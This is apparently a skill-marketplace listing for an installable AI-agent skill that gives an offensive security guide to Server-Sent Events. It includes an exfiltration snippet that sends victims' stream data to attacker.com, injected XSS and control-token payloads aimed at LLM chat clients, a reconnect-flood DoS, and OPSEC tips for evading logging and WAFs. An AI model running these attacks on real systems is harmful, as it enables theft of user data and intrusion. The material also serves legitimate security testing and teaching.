# API Server Sent Events

> Server-Sent Events (SSE / EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.

- Skill: `purpleailab/api-server-sent-events` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/api-server-sent-events`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/api-server-sent-events/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: AI & ML
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/api-server-sent-events

---


# Server-Sent Events (SSE) Attack Surface

SSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with `Content-Type: text/event-stream`. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.

## Detect

```bash
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
#   id: 42
#   event: message
#   data: {"foo":"bar"}
#   (blank line ends one event)
```

## Top bug classes

### 1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for `EventSource`)
`EventSource` honors the `Access-Control-Allow-Origin` header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:

```html
<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>
```

Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.

### 2. Prompt injection into LLM chat clients
Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens (`[DONE]`, special markers) that confuse the client:

```
data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}

data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}
```

### 3. Reconnection token leak via `Last-Event-ID`
SSE allows resuming via the `Last-Event-ID` header. If `id:` lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.

```
id: jwt-here-encoded
event: message
data: ...
```

### 4. Retry timing DoS
Server sets `retry: 1000` on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.

### 5. Fragmenting events past content-type sniffers
A SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE/Edge. (Niche but appears in legacy integrations.)

## Tooling

```bash
# curl with --no-buffer for live view
curl -sk -N https://target/stream

# Python sseclient — programmatic
python3 -c '
import sseclient, requests
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"})
for ev in sseclient.SSEClient(r).events():
    print(ev.id, ev.event, ev.data)
'

# Burp: SSE traffic shows in Proxy → HTTP history but with "streaming" indicator;
# right-click → Send to Repeater works but won't display incremental events.
```

## OPSEC

- SSE connections appear as long-lived 200 OK in logs. Server-side per-connection auth is often weak — disconnect cleanly to avoid stranded connection alerts.
- WAFs typically don't inspect SSE bodies (they exit early on `Connection: keep-alive` + `text/event-stream`).

## References

- WHATWG HTML Living Standard — Server-Sent Events section
- "SSE Considered Harmful?" — Detectify research blog
- LLM-frontend security writeups by simonw.net (Simon Willison) — prompt-injection-via-stream patterns

